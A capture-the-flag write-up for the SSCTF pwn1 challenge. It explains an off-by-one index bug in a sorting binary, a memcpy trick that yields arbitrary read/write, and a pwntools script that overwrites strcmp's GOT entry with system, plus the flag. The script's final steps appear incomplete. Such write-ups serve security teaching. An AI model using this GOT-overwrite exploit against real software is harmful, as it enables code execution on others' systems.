Points: 400 Solves: Category: Exploitation Description:


Part 1, The Vulnerability

First of two Exploitation challenges in SSCTF, this package contains 32bit binary and the server’s libc.so library. I will not go over every detail but only the vulnerability and exploitation parts. On start the binary displays a menu.

            +  Welcome To SSCTF PWN1  +
            +   Have A Good Time :)   +
_CMD_$ help

Command Menu:
	history : Show history
	reload  : Reload history
	clear   : Clear history
	sort    : Sort numbers
	exit    : Exit

It’s a integer sorting function. Choosing the sort option we are asked for the number of integers to sort and than a sub-menu appears.

_CMD_$ sort
How many numbers do you want to sort: 5
1 of 5, Enter a number: 255
2 of 5, Enter a number: 255
3 of 5, Enter a number: 255
4 of 5, Enter a number: 255
5 of 5, Enter a number: 255

Sort Menu:
	1: Query number by index
	2: Update number by index
	3: Sort numbers
	7: Quit

Each one of the sorting options are self-explanatory. The History option, shows us the previously sorted lists. The reload option moves us in the context of the chosen history list ID. To exploit this binary we are only interested in the sort (including the sort sub-menu) and reload.

Let’s see how the sort function works. By issuing the above commands, we have created a struct with the following elements.

struct list {
	int number_of_elements;
	int array[5];

0x804e038:	0x00000005	0x000000ff	0x000000ff	0x000000ff
0x804e048:	0x000000ff	0x000000ff	0x0804e038	0x00000000

Next to it, there is another struct of 2 elements. It is used to keep track of the current active list. Right now only the first element has a value, which is a pointer to the beginning of our first list (remember that because it’s going to be used for the exploitation part).

Just by playing around with the Sort Menu, we can notice a few interesting things. First, the main vulnerability which is accessing out of bound element because the indexes == len of the array, this allows us to access one additional element. We also see that we can’t access an index higher than the number of elements stored in list->number_of_elements.

Sort Menu:
	1: Query number by index
	2: Update number by index
	3: Sort numbers
	7: Quit
Choose: 1
Query index: 5
[*L*] Query result: 134537272

Sort Menu:
	1: Query number by index
	2: Update number by index
	3: Sort numbers
	7: Quit
Choose: 1
Query index: 6
[*E*] Query failed!

The reload option takes list ID from the history, makes it as the current active list and moves us to the Sort Menu to perform some action on it. Behind the scenes however, the reload option takes the pointer that points to the beginning of the struct and uses it as a source for memcpy. It takes the first element and it does ((x + 1) « 2), it than uses the result as size for memcpy. The destination is just the next available space (not important in our case).

Part 2, The Exploit

So, what do we know so far? We know we can read/write @ the pointer of the struct. We also know that we can use that pointer via the reload function to be the source of memcpy and thus change the current active list to have data based on what we are going to copy to the destination. I know it sounds a bit confusing but this is what we are going to do.

  1. Leak the pointer to the struct
  2. Change the pointer to a location where we control data (this will be in the current struct, just different offset)
  3. Invoke reload so we copy the data we control into the new active list. This will allow us to control the first element in the new list, which is going to lift the indexing restrictions.
  4. Now that our active sort list is with a controlled number_of_elements, we can reference any offset in the whole binary. This is what gives us read/write to any address via the Sort Menu’s Query and Update number by index.
  5. Leak the address of strcmp
  6. Change strcmp with system

Knowing the plan of action and what each step with allow us to do should of cleared things for you :).

Final script

#!/usr/bin/env python

from pwn import *
import sys

r = remote('pwn.lab.seclover.com', 11111)
#r = process(['./pwn1-fb39ccfa'])
#print util.proc.pidof(r)

# Step 1 get address of struct
garbage = r.recv()
r.sendline("sort")			# Sort
r.sendline("1")				# only 1 element
r.sendline("1073741824")			# size for memcpy. ((0x40000000 + 1) << 2) == 4 bytes
r.sendline("3")				# Sort the list, this places the ptr at the end
r.sendline("1")				# Leak pointer
r.sendline("1")				# Out of bound array access
garbage =  r.recvuntil("Query result: ")
leak = r.recvline()
log.info("Leak: " + hex(int(leak)))

# Step 2, overwrite controlled ptr to point to the beginning of struct+4
# this will cause our first element (array[0] == 0x40000000) to be used
# as number_of_elements in the next active list when we reload
r.sendline("1")					# Out of bound array array access again
r.sendline(str(int(leak) + 4))			# make ptr to struct to be ptr+4
r.sendline("7")					# Exit sub-menu

# Step 3, This makes a new active list with number_of_elements
# a copy from previous list's array[0]

# Step 4, here reload entered us in Sort Menu
r.sendline("1")					# find index for strcmp
r.sendline(str( (0x10804d03c - (int(leak)+20)) / 4 ))	# Calc index for strcmp@got addr

# Step 5, leak address of strcmp@got
garbage = r.recvuntil("Query result:")
strcmp = r.recvline()
log.info("strcmp: " + hex( abs((int(strcmp) ^ 0xffffffff) + 1) ))

# Step 6, overwrite strcmp with system
r.sendline(str( (0x10804d03c - (int(leak)+20)) / 4 ))
r.sendline(str( int(strcmp) - 0x3bfa0 )) # Local 0xf9940

# Argument for the new system()


# pwn400 flag - SSCTF{e8b381956eac817add74767b15c448e4}
  • Hope you liked it :), to be continue in pwn600